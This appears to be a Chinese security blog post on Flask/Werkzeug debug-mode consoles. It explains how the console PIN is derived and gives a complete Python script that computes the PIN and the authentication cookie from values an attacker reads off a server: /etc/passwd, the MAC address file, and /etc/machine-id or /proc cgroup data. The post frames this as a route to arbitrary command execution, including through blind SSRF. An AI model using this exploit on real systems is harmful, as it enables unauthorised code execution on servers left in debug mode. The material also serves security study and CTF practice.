894 字
4 分钟
Flask_debug_pin
flask web app, 在debug模式开启的时候,会提供一个 /console 页面, 只要输入 pin code 就能相当于拿到一个可以随意执行 Python 命令的pyshell
输入pin前:
输入pin后通过这个pyshell直接就可以执行任意命令:
那么这个 pin code 是从哪来的? 首先, 很显然 flask web app 在启动的时候会在 console 输出这个 pin code
以及如果我们可以做到读取任意文件, 也可以通过读取几个关键值, 计算出这个 pin code
Flask 的这个 /console 页面其实就是个 werkzeug debugger , 他的pin是在werkzeug/debug/__init__.py里的get_pin_and_cookie_name(app)生成的, 我们先直接看看代码:
def get_pin_and_cookie_name(
app: WSGIApplication,
) -> tuple[str, str] | tuple[None, None]:
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None
if pin == "off":
return None, None
if pin is not None and pin.replace("-", "").isdecimal():
if "-" in pin:
rv = pin
else:
num = pin
# 上面这段和生成逻辑没啥关系, 不用管
# 这里获取了 modname
modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
username: str | None
# 这里获取了 username
try:
username = getpass.getuser()
except (ImportError, KeyError, OSError):
username = None
mod = sys.modules.get(modname)
# 这里获取了 appname 和 moddir
# 和前面读取的 modname 和 username 一起构成 public_bits
probably_public_bits = [
username,
modname,
getattr(app, "__name__", type(app).__name__),
getattr(mod, "__file__", None),
]
# uuidnode 和 machine_id
# 这两个玩意构成 private_bits
private_bits = [str(uuid.getnode()), get_machine_id()]
# sha1
# 计算 cookie 名和 pin code
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode()
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
return rv, cookie_name
# 返回的这个rv就是pincode
通过分析代码, 我们可以看到 pin code 的生成其实就取决于这六个值
username 可以通过读 /etc/passwd 猜测
modname 默认 flask.app
appname 默认 Flask
moddir flask app.py 文件所在路径, 通过报错获取
uuidnode mac地址的十进制,读 /sys/class/net/eth0/address
machine_id 机器码 /etc/machine-id, /proc/sys/kernel/random/boot_id, /proc/self/cgroug
直接上脚本(sha1新版)
import hashlib
import uuid
import time
from itertools import chain
def calculate_werkzeug_pin(username, modname, appname, moddir, mac_address, machine_id):
probably_public_bits = [
username,
modname,
appname,
moddir,
]
private_bits = [str(mac_address), machine_id]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
rv = None
for group_size in [5, 4, 3]:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
cookie_value = str(int(time.time())) + "|" + hashlib.sha1(f"{rv} added salt".encode("utf-8", "replace")).hexdigest()[:12]
return rv, cookie_name, cookie_value
def mac_to_decimal(mac_address):
return str(int(mac_address.replace(':', ''), 16))
def main():
print("=== Werkzeug Debugger PIN 计算器 ===\n")
print("请输入以下信息:")
username = input("用户名 (从 /etc/passwd 获取): ").strip()
modname = input("模块名 (默认 flask.app): ").strip() or "flask.app"
appname = input("应用名 (默认 Flask): ").strip() or "Flask"
moddir = input("flask app.py 文件路径: ").strip()
mac_input = input("MAC 地址 (格式: aa:bb:cc:dd:ee:ff): ").strip()
try:
mac_decimal = mac_to_decimal(mac_input)
print(f"MAC 十进制: {mac_decimal}")
except ValueError:
print("MAC 地址格式错误!")
return
machine_id = input("Machine ID: ").strip()
pin_code, cookie_name, cookie_value = calculate_werkzeug_pin(
username, modname, appname, moddir, mac_decimal, machine_id
)
print(f"\n=== 计算结果 ===")
print(f"PIN 码: {pin_code}")
print(f"Cookie: {cookie_name}={cookie_value}")
if __name__ == "__main__":
main()
通过这个脚本我们就能计算出 pin 以及认证所需要的cookie和cookie值
至于为什么要算cookie, 我们在获得 pin 码之后, 其实是不能直接执行命令的。 整个流程我们实际上要先带上请求 /console 返回的一个 secret 以及 pin code 访问 pinauth 接口获取 cookie, 然后再带上 secret 和 拿到的 cookie 进行命令执行。但在一些无回显 ssrf 的场景下, 我们是无法获取到响应的cookie内容的, 这时候就需要计算cookie才能完成利用
Flask_debug_pin
https://blog.asteriax.site/posts/flask_debug_pin/